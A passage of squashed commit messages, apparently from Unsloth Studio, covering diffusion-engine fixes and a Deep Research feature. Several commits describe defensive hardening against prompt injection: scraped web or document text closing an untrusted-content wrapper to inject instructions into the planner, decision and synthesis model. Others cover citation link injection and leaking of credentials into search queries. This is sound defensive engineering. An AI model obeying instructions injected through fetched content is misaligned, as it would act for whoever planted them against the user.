The retry added for the clean-environment patch failures is not free: importing
unsloth pulls torch in behind it, which costs ~940 MB of RSS measured in a
process that had neither, and on a host with no accelerator it fails anyway. A
cross-platform CI job that had generated fine at ~900 s later died 19 s in with
SIGTERM and every 'if: always()' step skipped, which is the runner being torn
down rather than a step failing.
Retry only when torch is already imported (true of the server and of anything
patching a real module, and the condition that stops the retry from being what
loads torch), unsloth is installed but not yet imported, and the first failure
was the ImportError the sentinel guard raises. The clean-environment case it was
added for still passes 29/29.
macos-14 loads FLUX.2-klein-4B Q2_K natively on mps and then dies on the first
generation with exit code -6:
ggml_metal_op_encode_impl: error: unsupported op 'RMS_NORM' -> ggml_abort
LLMEmbedder::encode_prompt -> LLMRunner::compute -> GGMLRunner::compute
ggml's Metal backend gates RMS_NORM on contiguous rows and aborts the process
when that does not hold, with no per-op CPU fallback, so any LLM text encoder
(Qwen3 for FLUX.2 and Z-Image, T5 for FLUX.1) takes sd-server down. The encoder
runs once per prompt while the DiT runs every step, so pinning only the encoder
keeps Metal for the part that matters. UNSLOTH_DIFFUSION_SD_CPP_METAL_TE_GPU=1
opts back in once ggml grows the kernel.
fp8 auto precision defaulted to precise accumulate on any non-consumer GPU,
which made fp8 2.05x slower than int8 on RTX 6000 Ada and slower than not
quantising at all. NVIDIA's professional whitepapers do publish equal FP8 rates
for both accumulate modes there, so the hardware premise held, but the cost is
in the cuBLAS path rather than the published rate. Default to fast accumulate:
measured on B200 the flag is a no-op (4096^3 _scaled_mm at 3023.8 vs 3041.8
TFLOP/s, bitwise-identical output, 1.213 s vs 1.230 s end to end), so it is a
large win where it bites and free where it does not. Precise accumulate stays
available via transformer_quant_fast_accum.
Z-Image's DiT is a Lumina2 derivative, so unsloth/Z-Image-GGUF and
unsloth/Z-Image-Turbo-GGUF both declare general.architecture = "lumina2" and the
whole line was tagged image-diffusion-unsupported and hidden from the Images "On
Device" list, though validate_load_request loads them. Resolve shared archs from
the repo/file name like bare "wan" already does, with a test asserting the picker
and the loader agree for every family.
The sage attention on-demand install ran an unpinned `pip install sageattention`,
but PyPI's newest wheel is 1.0.6 and diffusers refuses anything below 2.1.1: the
install always "succeeded", wrote an unusable version into the running venv, and
was rejected on the next line. Carry the dispatcher's floor so pip resolves
nothing instead.
The dense-quant disk gate sized the download from the bf16-RESIDENT table. The
fp32 families download twice that (Z-Image: 23,479 MiB against a 21,970 MiB
gate), leaving a window where the check passed and the download filled the disk;
Ideogram 4 ships fp8 and was overcharged the other way. Size the gate by
published bytes, verified against HF sibling metadata for all 12 families.
Patch installs went through unsloth_zoo, which refuses to import unless
UNSLOTH_IS_PRESENT is set, and that is set by unsloth itself. The server imports
unsloth at boot so it never showed there, but any other process ran silently
unpatched with every install returning False, which is 13 test failures on a
clean environment. Import unsloth and retry once, memoised per process.
Also: the GGUF+LoRA refusal pointed at the native engine without saying a GPU
host only selects it under UNSLOTH_DIFFUSION_ENGINE=sd_cpp, so the suggestion was
unreachable; the gallery recipe recorded loras from the generate request alone,
losing a load-time bake; load-progress claimed "40.07 GB downloaded" for a fully
cached load; and pickers.tsx imported three catalog-group helpers it never used.
Reported by oobabooga.
* Studio: add durable Deep Research workflows
* Studio: preserve research integration after upstream updates
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep research worker compatible with Python 3.11
* Studio: address Deep Research lifecycle review
* Studio: preserve durable research recovery
* Studio: preserve research stream and context
* Studio: harden research sources and limits
* Studio: align research with shared chats
* Studio: guard durable research actions
* Studio: protect durable research turns
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: deepen durable research decisions
* Studio: protect research prompts and queries
* Studio: slim research stream deltas
* Studio: preserve research evidence and citations
* Studio: harden Deep Research (CI, prompt injection, query PII, config, citations)
- Fix backend CI: add research_runs_router to the synthetic routes stub in
test_desktop_auth so studio.backend.main imports under the health-check test.
- Escape prompt-delimiter tags in the decision and synthesis prompts so gathered
web/document content cannot close an <untrusted_...> wrapper and inject
instructions into the local planner/decision/synthesis model.
- Extend the public-query sanitizer to redact Luhn-valid payment cards, phone
numbers, non-global IPs, and labeled private identifiers before a query can
reach web search.
- Reject nested credential keys in inferenceRequest and ragScope, not just
top-level keys, when persisting a durable run config.
- Treat maxSources as one budget shared across web and document sources
(collection and resume paths) instead of per type, which allowed up to 2x the
configured cap.
- Preserve document citations whose filename contains a closing bracket by
tokenizing valid citations before stripping invalid ones.
- Persist Deep Research off when switching to an external model and when enabling
Web Fetch so a refresh cannot rehydrate a mutually-exclusive state.
- Add regression tests for the query, prompt, citation, and config hardening.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make the research claims table migration atomic
The owner-scoped to global claims migration ran its RENAME, CREATE, INSERT and DROP in autocommit, so an interruption after CREATE left the new table empty, orphaned the rows in the legacy table, and never re-triggered. Wrap the rebuild in an explicit transaction so a crash rolls back cleanly and the migration re-runs on the next boot.
* Studio: block message edits and regeneration during an active research run
After a reload a durable research run is followed by the research store rather than an assistant-ui run, so thread.isRunning is false while research is still active. Message edit, refresh and the edit composer previously gated only on isRunning, which let a normal generation start alongside the running research run. Gate them on the active thread's research state as well.
* Studio: keep the plan review mounted through approval
Keying PlanReview on planRevision remounted it mid-approve when updateResearchPlan bumped the revision, resetting the local pending flag and re-enabling Start research while the approve was still in flight, which allowed a duplicate approve. Key on runId only.
* Studio: drop the redundant deep-research persistence change
setCheckpoint already persists Deep Research off for external models at the top of the function, so the added saveBool was a duplicate, and clearing Deep Research from setWebFetchToolsEnabled guarded a state that is not reachable (Deep Research is local-model only while the Web Fetch pill is external-provider only). Revert both to the pre-hardening version.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden Deep Research citations, query privacy, and message protection
Address review findings in the Deep Research backend:
- Escape an unbalanced ")" in citation destinations so a source URL cannot
close the markdown link early and inject a second link, keeping balanced
parentheses literal.
- Match raw-URL citations on whole tokens so a URL sharing another URL's
prefix is no longer partially rewritten.
- Redact non-global IPv6 addresses in public search queries, matching the
existing IPv4 handling.
- Detect credential key names after normalizing case and separators so nested
openaiApiKey, accessToken, and clientSecret values cannot be persisted.
- Reject client edits to server-managed research prompts and reports at the
storage layer; only the internal writers pass allow_research_update.
- Scope research searches to the first allowed domains instead of dropping
site scoping for large allow lists.
- Persist the same fetch evidence bound used during live synthesis so a
resumed run is not shortened.
- Scope run completion so it only replaces this run's message parts.
Add regression tests for the above.
* Studio: fix Deep Research SSE framing, source counts, and favicon privacy
- Normalize the whole SSE buffer so a CRLF split across transport chunks
still frames events.
- Count web and document sources together in the activity header so a
RAG-only run is not shown as zero sources.
- Cap the plan editor at the run's configured maxSteps instead of a
hard-coded 30.
- Add an allowRemoteIcons opt-out to the sources components and disable
third-party favicon requests for research sources so visited domains are
not leaked.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: address final Deep Research review findings
* Studio: fit Deep Research synthesis evidence to loaded context, add opt-in web grounding
Size the synthesis evidence budget to the loaded model context so the prompt is not
silently truncated on small contexts. When the evidence overflowed the window the report
degenerated (it echoed the evidence tail instead of writing); the budget now reserves tokens
for the prompt scaffolding and converts the remainder to chars, keeping the full cap when the
context is unknown.
Add opt-in web grounding for auto-read: read the top search results, ingest them into an
ephemeral RAG scope, hybrid-retrieve the passages most relevant to the question with the
existing knowledge-base retriever, and fold those chunks into the step evidence. The scope is
per call and deleted afterwards, so a user's knowledge base is never touched.
Off by default; enable with UNSLOTH_RESEARCH_AUTO_SCRAPE=1. Gated per run by
budgets["maxAutoScrape"], so runs created without it keep legacy snippet-only behavior, and
grounding is skipped when the loaded context is too small for the prompt.
Add tests for the adaptive evidence budget, scraped-text cleaning, the ephemeral web-RAG
retrieval and scope cleanup, and the auto-read evidence path.
* Studio: read Deep Research synthesis context from the inference orchestrator
Make the adaptive synthesis-evidence budget actually engage in the normal Studio
architecture. _loaded_context_length read core.inference.inference, the low-level backend that
lives in the model subprocess and stays unpopulated in the main web process where the research
supervisor runs, so it returned None and the budget silently fell back to the 32000 character
cap (leaving the report exposed to the truncation this was meant to fix). Read the inference
orchestrator instead, and the llama.cpp backend for GGUF, mirroring
routes.inference._monitor_context_length so the budget sizes to the context the API layer
serves. Verified on a running server: at a 12288 token load the probe now reports 12288 and the
budget adapts to 24576 characters instead of the 32000 fallback.
Also:
- Reserve context for the generated report as well as the prompt scaffolding (raise the reserve
to 4096 tokens) so evidence does not crowd out the output on a small window.
- Honor a numeric UNSLOTH_RESEARCH_AUTO_SCRAPE by passing the per-run maxAutoScrape as the page
cap to the scraper, instead of always reading the maximum.
- Guard the web-RAG connection acquisition so a get_connection failure returns the documented
empty result rather than propagating.
- Add a synthesis-context test that patches the real backend accessor (not the probe itself) so
the production wiring is exercised, plus a scrape page-cap test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden Deep Research query redaction and research autosave
- research_runs: extend the opaque-token allowlist so unlabeled Hugging
Face (hf_) and GitLab (glpat-) tokens are redacted before a query can
reach web search, without over-redacting public model or version ids.
- runtime-provider: for a server-managed research message, echo the
backend-stored metadata verbatim on autosave. Merging the client
metadata re-added client-only fields the server never persisted, so the
server-side guard saw a diff and rejected every streamed or snapshot
update with 409.
* Studio: keep composer tool pills always accessible after merge
The merge left the composer line marked always-expanded (data-expanded
"true") while the inner pill row was still gated behind composerExpanded,
so the Search and Code toggles disappeared once the permission mode was
"off" with no other toggle set. Render the primary tool pills
unconditionally, matching the always-expanded layout, and drop the now
unused composerExpanded and permissionMode locals. Fixes the Chat UI
Playwright check that asserts the Search and Code pills stay visible.
* Studio: update Deep Research composer contract to always-expanded layout
The always-expanded composer no longer routes effectiveDeepResearchEnabled
through a composerExpanded expression, so the frontend contract now checks
that it gates the Deep Research composer button render instead.
* Studio: do not bind a research run to a populated assistant reply
create_run adopted any assistant message under the user turn whose
researchRunId was unset, including a prior answer reused by a retry. On
completion _update_assistant drops the untagged text and source parts, so
that answer was silently overwritten. Only bind to an empty placeholder or
this run's own message, and reject a reply that already carries content.
* Studio: harden Deep Research synthesis budget, prompt shielding, and message protection
- research_runs: split the synthesis evidence budget evenly across notes so a
small context still keeps a slice of every research step instead of dropping
the later steps after the earliest ones fill the budget.
- research_runs: shield the research question and approved plan before placing
them in the decision and synthesis prompts, so a closing delimiter in either
cannot escape its block and inject sibling sections.
- research_runs: redact bearer authorization tokens from public search queries.
- studio_db: include attachments in the research-message change check and guard
direct attachment deletion, so server-managed research prompts and responses
cannot be mutated through the attachment paths.
- chat_history: map the protected-message conflict on attachment deletion to 409.
* Studio: strip invalid document citations that contain brackets
The invalid-citation regex stopped at the first closing bracket, so a
citation whose filename contained brackets left its tail (".pdf, p. 9]") in
the report. Match a balanced bracketed span so the whole invalid citation is
removed; valid citations stay protected by the earlier tokenization pass.
* Studio: free the RAG search slot when a lookup times out or is cancelled
The bounded knowledge-base search held the sole admission slot in a detached
worker until the search returned, so a lookup that outlived its timeout (a
stalled embedding or blocked vector call) kept the slot forever and starved
every later lookup, disabling knowledge-base retrieval globally. Release the
slot from the caller when it stops waiting, exactly once, so a detached worker
finishes without re-holding it.
* Studio: remove Websites label from research composer
* Studio: fix Deep Research review findings (RAG slot bound, orphaned workers, hardening)
- Bound the shared RAG search slot to one running worker. The search that is
doing the embedding/index/GPU work now owns the admission slot until it
finishes, instead of freeing it on caller timeout while the detached worker
keeps running, which let a second search enter and stack concurrent work
behind the capacity-of-one semaphore.
- Cancel active research runs before deleting their thread, project, or all
history. Deleting cascade-drops the run row, but the worker only notices at
its next lease check, so it could keep doing model/web/RAG work for a run
that no longer exists; signalling cancel first shortens that window.
- Shield the planner prompt's conversation and question with _shield_untrusted,
matching the decision and synthesis prompts, so untrusted text cannot forge
planner delimiters.
- Do not let a research key-revocation failure replace a successful
non-streaming completion; log it like the streaming path does.
- Include created_at in the protected research-message guard so a client cannot
reorder server-managed prompt/response messages while leaving the body intact.
- Reject non-scalar ragScope values; a nested container evades the
sensitive-key scan when its inner keys are unlisted and would reach retrieval
code that expects a scalar scope id.
Adds regression tests for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: remove research composer globe icon
* Studio: use Hugeicons telescope in research composer
* Studio: use Telescope02 icon in research composer
* Studio: standardize Deep Research telescope icons
* Studio: move Deep Research below web and code tools
* Studio: merge grounded page excerpts with search snippets instead of replacing
When auto-scrape grounding retrieved page-body chunks, it replaced the raw
search-result text for that step. If the retrieved chunk was a distractor or
dropped the key fact, the answer-bearing search snippet was lost and grounded
runs regressed below snippet-only accuracy on factual questions (e.g. returning
Apache 2.0 instead of the Qwen License, 403 instead of 404, or a single mirror
diameter instead of the sum).
Keep the search snippets and append the grounded excerpts as supplementary
evidence via a small _merge_scraped_evidence helper. Grounding stays opt-in and
off by default, so legacy runs are unchanged. Adds regression tests.
* Studio: fix stale website access assertion in Deep Research contract test
The dialog heading was renamed to a DialogTitle, so the contract test still
asserted a <span>Websites</span> that no longer exists and failed on every
branch built on this one. Assert the current heading instead.
* Add AGPL-3.0 SPDX header to the two new test files for PR #7219
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix citation loss, effort clamping and nested inferenceRequest for PR #7219
Three review findings, each with a regression test that fails without the fix.
Citation dropped for a bare URL in prose parentheses. _RAW_URL swallows the
closing paren and the old trim set only stripped ".,;:!?", so the catalog
lookup missed and the validator deleted the whole citation, leaving an
unbalanced "(" in the report. New _trim_url_tail follows GFM extended autolink
path validation: one right-to-left pass that interleaves punctuation and
unmatched-")" trimming. Both rules must run in the same loop, else
"https://x/y.)" keeps a stray dot. Balanced parens inside a URL
(Wikipedia-style) still survive. Output verified against cmark-gfm on nine
cases, including "https://x/foo)bar)" which must keep ")bar".
Research runs forwarded reasoningEffort unclamped. The local chat path clamps
to the loaded model's advertised levels; the research branch did not, and the
backend only validates enum membership, so llama.cpp dropped a level the model
lacks and the whole durable run silently fell back to the template default.
Now uses the same helper and the same levels as normal chat. Note this makes
"max" on a gpt-oss low|medium|high model resolve to "low" rather than falling
through to the template default, matching normal chat exactly; the divergence
between the two paths was the bug.
Nested inferenceRequest values were persisted. Every allowed field is a scalar
and the numeric/bool/enum ones reject a container while coercing, but "model"
is stringified with str(), which never raises, so {"auth": "sk-..."} slipped
past the sensitive-key scan ("auth" is not on the list) into the durable run
config as the model id. Mirrors the ragScope guard already in this PR.
Verified: 542 passed across the research/web/sandbox/chat-history backend
suites, frontend contract 10 passed, tsc --noEmit clean.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix report-stalling regex, uncataloged KB evidence and bracketed titles for PR #7219
Catastrophic backtracking in _DOCUMENT_CITATION. The alternation
(?:[^\[\]]+|\[[^\[\]]*\])* backtracks exponentially on an unterminated
"[Document:" with no later bare "]", which is ordinary malformed model output
and exactly what this sanitizer exists to handle. Runtime quadrupled every two
characters; one realistic 76-char line did not finish in 90s. It runs
synchronously inside async _research (the line below it uses asyncio.to_thread),
so a single bad report pins the event loop and stalls all of Studio, not just
the run. Replaced with the language-equivalent unrolled form, verified identical
on well-formed inputs including bracketed filenames, and linear: a 20,000-char
tail now takes 0.4ms. Not using possessive quantifiers or atomic groups, which
need Python 3.11 while this package declares >=3.9.
Uncataloged knowledge base evidence reached synthesis. When maxSources is
already full, every returned chunk hits the continue, so accepted_rag_sources
stays empty, the "if accepted_rag_sources" rebuild no-ops and rag_result keeps
the raw KB text. That text has no document_source_catalog entry, so the
validator strips any citation to it and synthesis is left building claims on
private KB chunks it cannot attribute. Cleared, gated on rag_sources so a
text-only KB reply is still passed through. The resume branch built rag_evidence
from all restored sources with the same hole, so it now mirrors the live loop.
Bracketed source titles destroyed their own citation. The catalog gave the model
the raw title while the citation writer stripped brackets. Search titles
routinely carry one ("[PDF] Annual Report"), and the prompt tells the model to
copy the title verbatim, producing a label the validator cannot match. Both
sides now share _citation_title.
Verified: 756 passed across the research/web/sandbox/chat-history/rag backend
suites. Each fix has a regression test that fails without it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep a durable run alive when no model is loaded for PR #7219
A durable run is claimable within the supervisor's poll interval of startup
(main.py starts it in the lifespan, and claim_next takes any 'running' run whose
lease expired), Studio has no startup model auto-load, and the browser is not
connected yet. So restarting Studio mid-run reliably lands the next model call
on the local endpoint's HTTP 400 "No model loaded". That 400 is not retryable:
_completion retries only >= 500, and _stream_completion, which serves both
planning and synthesis, has no retry at all. The run is marked failed, and the
only recovery is retry, which sets report_text NULL and deletes every
research_plan_step, research_source and research_document_source. Up to an hour
of scraping and synthesis is lost on a plain restart, on the feature whose whole
point is surviving one.
Treat only that refusal as transient: wait up to the run's own
modelTimeoutSeconds for a model to come back, then re-send. Any other 400 still
fails immediately, so no behaviour changes on the happy path. The wait polls
_check_active, so cancellation and lease loss are still honoured, and the model
probe fails open, so a probe error can only send a request, never withhold one.
Each wait is bounded by the run timeout and the number of waits per call is
capped, so a model that keeps disappearing cannot re-send forever.
Deliberately not pinning or restoring the model, which the review comment also
suggested. Auto-switch is opt-in, default off, and GGUF-only, so restoring
would silently evict the model the user just loaded from a background worker,
and comparing the configured name to the loaded id is fragile across variant
suffixes and advertised aliases, so it would break working runs.
Verified: 853 passed across the research/web/sandbox/chat-history/rag/inference
backend suites. Eight of the nine new tests fail without the fix.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make website-policy search reach the whole allowlist and refill past blocks for PR #7219
Two review findings on the website access policy.
Domains past the site: filter cap were undiscoverable. The policy accepts up to
100 allowed domains and the prompt tells the model all of them are searchable,
but scope_search_query always scoped to allowed[:8], so a source in the ninth or
later domain could never be found, and an undiscovered URL cannot be fetched
either. The cap itself is right, search engines stop honouring long OR chains,
so the window now rotates by a hash of the query instead of being a fixed head.
Every allowed domain is reachable across a multi-step run, the same query is
always scoped the same way, and lists at or under the cap are unchanged.
A page of blocked results returned nothing. The policy filters after the search
while DDGS was asked for exactly max_results candidates, so if those happened to
be disallowed the tool reported no results even when valid ones ranked just
below, wasting a research step. Ask for a deeper pool when a policy is set and
stop at max_results allowed entries. No policy means no over-fetch, so ordinary
searches are unchanged.
Verified: 2324 passed across the research/web/sandbox/chat-history/rag/tool
backend suites. The 8 test_studio_api.py failures are pre-existing and need live
OpenAI/Anthropic credentials; they fail identically with these changes stashed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Only overfetch search results when the website policy restricts for PR #7219
Follow-up to 8be0b3699. Every run stores normalize_website_policy(...), which
returns {"allowedDomains": [], "blockedDomains": []} and is truthy even when
nothing is restricted, so the default unrestricted path asked DDGS for four
times as many results on every step. That is pure added latency and timeout
risk, since the filter passes everything and only max_results entries are
returned either way. Test the domain lists rather than the dict.
* Budget the whole research prompt against the loaded context for PR #7219
Only the synthesis evidence was budgeted, so the budget could not prevent the
overflow it existed to prevent.
Measured at head with a realistic prompt (40-source catalog, 12-step plan): the
untrimmable scaffolding is about 7,900 chars and the conversation context adds
up to 12,000 more. On a 4096-token context, which is the GGUF auto-fit floor and
the transformers default, the synthesis request came to about 1.7x the window.
Worse, _synthesis_evidence_budget computed usable_tokens = 0 at or below the
4,096-token reserve and then returned the 1,500-char floor anyway, so it added
evidence to a prompt that already did not fit. The decision prompt had no
context awareness at all: a fixed evidence[-60000:], roughly ten times a small
window, on every step rather than once at the end.
Overflow is not cosmetic here. It either silently truncates and degenerates the
report, as the comment above these constants already warned, or fails the run,
and a failed run is only recoverable via retry, which deletes every plan step,
source and document source and nulls the report.
Both paths now share _prompt_char_budget plus _trimmable_budget: each trimmable
section is measured against what the rest of the prompt leaves, and can reach 0
instead of a floor, because a shorter report beats a destroyed run. Evidence is
budgeted before the chat history, since the evidence is the report. Unknown
context still keeps the full cap.
At 4096 tokens the synthesis prompt now fits (0.6x). Below that it is still
over, since a 40-source catalog alone exceeds the window; that needs a smaller
maxSources, and the context box does accept values down to 128.
test_synthesis_evidence_budget_tracks_loaded_context asserted the old floor at
2048 tokens, which is the bug, so it now asserts 0 and that the rest of the
prompt counts against the same budget.
Verified: 2325 passed across the research/web/sandbox/chat-history/rag/tool
suites. The test_mcp_stdio_sessions failure is pre-existing and fails
identically with these changes stashed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope replayed research history to its own attempt for PR #7219
A retry deletes the previous attempt's research_plan_steps, research_sources
and research_document_sources rows but keeps its events, and the SSE route
attaches one live run snapshot to every event it emits, replayed history
included. The step.completed payload carries only position, title, action,
input and sourceCount, so that snapshot is the sole source of the excerpt and
evidence.
On any refresh after a retry, a replayed attempt-0 step was therefore matched
against attempt-1's step row by position alone, and start_position resets to 0
after the delete, so the positions line up exactly. The preserved attempt-0
activity then showed attempt-1's excerpt and evidence, or lost them entirely
when attempt 1 had not yet reached that position, under a banner that says
previous activity is preserved. The run.started resumed branch read the same
cross-attempt snapshot and spliced those activities out.
Both are gated on the event's attempt matching the snapshot's retryCount, which
is the same attempt scoping get_reasoning_text already applies server-side. The
excerpt and evidence fall back to what the activity already holds, so a mismatch
is non-destructive rather than blanking it.
Verified: frontend contract 11 passed, tsc -b exit 0, and the new test fails
without the store change.
* Retry pre-stream failures in the research stream for PR #7219
_stream_completion serves planning, every decision step and synthesis, and it
had no transport retry: a connection error or a 5xx raised before any response
byte failed the durable run, and retry then deletes every gathered source,
document source and plan step. _completion already treats the identical
failures on the identical endpoint as retryable, so the two paths disagreed.
This is partly a hole my own 689b06535 opened. After the no-model 400 the body
is read, the connection returns to the pool, and _wait_for_local_model then
sleeps for up to modelTimeoutSeconds before re-sending on the same client.
Uvicorn's keep-alive is 5s, so that pooled connection is essentially always
server-closed by then, and losing the has_expired race raises
RemoteProtocolError, killing the run the wait existed to save. Also reachable
via a read timeout waiting for headers under prompt-eval load.
Retrying is safe only because nothing has been consumed at that point, and that
is structural rather than a convention: with stream=True httpx returns on the
response headers without calling aread(), and raise_for_status() reads no body,
both verified against the installed 0.28.1. The handler is scoped to the inner
try that ends at break, and _iter_stream_lines sits outside the loop with no
path back to send, so a re-send cannot duplicate report text.
Bounded and mirrors _completion: same >= 500 predicate, same 3 attempts, same
2**attempt backoff, lease and cancellation re-checked before re-sending. The
transport counter and the model-wait counter are independent, so they cannot
multiply. The response is closed before every re-send, as manual stream mode
requires.
Note HTTPStatusError is not a TransportError in httpx, so both are caught
explicitly.
Verified: 2330 passed. Five of the new tests fail without the fix; the three
that pass either way are the invariants that must not change (fail fast on a
real 400, never retry once the report has streamed, existing model-wait path).
* Bound the planning prompt to the loaded context for PR #7219
Completes dc16598a4, which budgeted the decision and synthesis prompts but left
planning unbounded. The question reaches the planner verbatim (a pasted document
arrives here as-is) and the history is capped only at the fixed 12,000 chars,
so on a small context planning could overflow before any plan was persisted,
failing the run without doing any research at all.
Same helpers as the other two paths. The question is budgeted before the
history, since the question is the request.
A test now asserts all three prompt paths hold their own context budget, so a
fourth path cannot be added later without one.
Verified: 2331 passed; the new test fails without the change.
* Keep prompt inputs non-empty and fit the source catalog for PR #7219
Two follow-ups to the prompt budgeting, the first a regression I introduced in
dc16598a4.
The output reserve was a flat 4096 tokens, so on any context at or below that,
including the documented 4096-token GGUF floor, the whole prompt budget came out
as 0. Every trimmable section then sliced to nothing: planning_question became
the empty string, so the planner never saw the request at all, and synthesis
dropped all its evidence. Removing the old floor outright went too far; an empty
prompt is worse than the overflow it was avoiding. The reserve is now capped at
half the window, and the question and the evidence each keep a floor, since one
carries the request and the other carries the answer. A truncated completion is
recoverable, a confidently empty report is not.
The source catalog was the one section still inserted whole. It holds up to
maxSources entries with snippets persisted at up to 4000 chars each, so on a
smaller context it alone could exceed the budget while the code responded only
by zeroing the evidence and history. It is now fitted first, dropping whole
entries from the tail rather than slicing mid-entry, because a half-truncated
URL is worse than an absent one: the validator would strip it and the claim
would be left uncited.
Verified: 2333 passed. All three new tests fail without the change; the question
now keeps 1072 chars at a 2048-token context and 4144 at 4096, where both were
previously 0.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten Deep Research comments for PR #7219
Post-convergence comment pass over the 40 source files in the PR diff, limited
to lines the PR itself adds so untouched upstream code in the same files is left
alone. 15 files, 110 insertions, 141 deletions.
The reduction is deliberately small. Almost every comment here records why
something non-obvious is done, a measured result, a spec rule, or the exact bug
it prevents, and those are worth more than the lines they cost, so nearly every
edit is a same-meaning compression rather than a deletion. Kept in full: the GFM
autolink citation for the URL trim, the catastrophic-backtracking note on
_DOCUMENT_CITATION, the prompt-budget notes recording that a reserve at or above
the context leaves nothing, the two measured site: filter findings, and the
remount note on the activity panel key.
Verified comment-only three ways: comment_tools.py reports 15/15 code-unchanged,
and an independent ast.dump comparison with docstrings stripped shows zero of the
12 Python files differing. 421 backend tests and the 11 frontend contract tests
pass, and the phrase the contract test asserts on is still present on one line.
* Harden Deep Research model streams
* Fit Deep Research decision prompts
* Preserve Deep Research follow-up context
* Redact composite credentials from research queries
* Scale Deep Research UI typography
* Address Deep Research refinement review
* Harden Deep Research refinement edge cases
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* fix(studio): reject Vulkan diffusion gpu_ids before Phase 1 teardown
Classify local GGUF paths (and cached HF downloads when available) for
diffusion before _kill_process() so unsupported gpu_ids requests return
400 without tearing down the active model. Fixes#7205.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): always pre-download HF GGUF before Vulkan diffusion preflight
Reverts the cached-path shortcut so partial split caches still run
_download_gguf before Phase 1 teardown. Header-only classification from
resolve_local_gguf_path() does not prove the variant is complete.
* Fix inaccurate shared-constant comment and cover the local pre-teardown branch for PR #7415
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add a regression test for the pre-teardown GGUF download for PR #7415
* Tighten the Vulkan diffusion preflight comments for PR #7415
* Trim the Vulkan diffusion preflight comments for PR #7415
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
Four review findings, all reproduced first:
- The gallery object-URL caches were unbounded. A clip runs from a few MB to a
few hundred, both pages stay mounted after their first visit, and entries were
only dropped on delete, so scrolling pinned everything for the session. Both
pages now share a byte-budgeted LRU (512 MB video / 192 MB images) keyed off
the visibility signal the near-viewport fetching already provides. On-screen
media, the selected clip or image, and the item just fetched are never
evicted, so eviction is invisible and a single item larger than the whole
budget cannot evict itself into a refetch loop.
- The image, video and chat load guards ran two independent training probes but
returned early when the FIRST one raised, so an unreadable LLM backend
disabled the diffusion interlock and a load could proceed straight into an
active diffusion trainer on the same GPU. The probes are independent now.
- An engine switch swallowed a failed teardown and published the new engine
anyway, which is exactly the leak the unload exists to prevent: the arbiter's
evictor, /images/unload and the next load all resolve through
get_active_diffusion_engine(), so the still-resident pipeline (or a live
sd-server) became unreachable and the next load allocated on top of it. The
switch now fails and leaves the old engine published, so it stays reclaimable.
- The native generation timeout was 30 minutes while the Images page waits up to
6 hours (SETTLE_MAX_MS), so slow-but-progressing CPU jobs died deterministically
at the deadline. Measured on GPU-less runners, a 512x512 4-step Q2_K generation
took 900 s on Linux and 1465 s on Windows, so larger images or step counts clear
half an hour easily. The ceiling now matches the page's window and applies to
the whole request: chunks of a split batch share one deadline instead of each
getting a full budget. Cancellation is unchanged.
Declined: gating the huggingfacenotorch extra off Python 3.9 over the
conditional diffusers marker. The marker is deliberate and its comment says why:
diffusers dropped 3.9 in 0.38, so pinning >=0.39 outright leaves pip no candidate
and the whole extra unresolvable there. The pipelines it names live in
studio/backend, which cannot install on 3.9 anyway (studio.txt pins
matplotlib==3.10.9 and fastmcp>=3.0.2, both requires_python >=3.10), and the
extra is the general core one, so the alternative drops 3.9 for library users who
never touch Studio.
Two halves of the same gap, found while measuring the LTX-2.3 download plan:
- The video download plan and the scoped pre-download never saw
text_encoder_quant. An fp8 request loads a hosted pre-cast encoder, so
asking for one still staged and downloaded the base repo's dense Gemma3
(48.79 GB of Lightricks/LTX-2 on the 2.3 distilled pick) that the pipeline
then never opened. The plan now drops those shards and stages the pre-cast
checkpoint instead; their configs stay, since the pre-cast loader still
meta-inits the encoder from the base repo's component config.
- The LTX-2.3 assembly builds every component itself, so pipe_kwargs (which
carries the pre-cast encoder for from_pretrained) never reached it and an
fp8 request silently loaded the dense encoder anyway. It is passed across
explicitly now.
The dense skip is earned, not assumed: only a pre-cast checkpoint that
resolves on the Hub lets the plan drop the dense shards, and only one already
fetched to disk lets the pull drop them, so an unpublished or gated artifact
leaves both exactly as they were. If injection still fails after that, the
load tops the dense weights back up rather than handing from_pretrained a
snapshot with no encoder in it.
Measured against the real Hub on the 2.3 distilled Q4_K_M pick: 67.24 GB
before, 18.92 GB with a 0.43 GB stand-in for the pre-cast artifact (the base
entry drops from 24 files / 48.79 GB to 13 files / 0.04 GB).
A ggml abort prints its cause first and then a stack trace, so reporting the last twenty captured
lines gave twenty addresses and nothing about the failure: on the macOS runner the native server
died on an unimplemented Metal op and the message carried only frame pointers. The captured tail
now leads with the lines that name a cause and keeps recent context after them, for both the
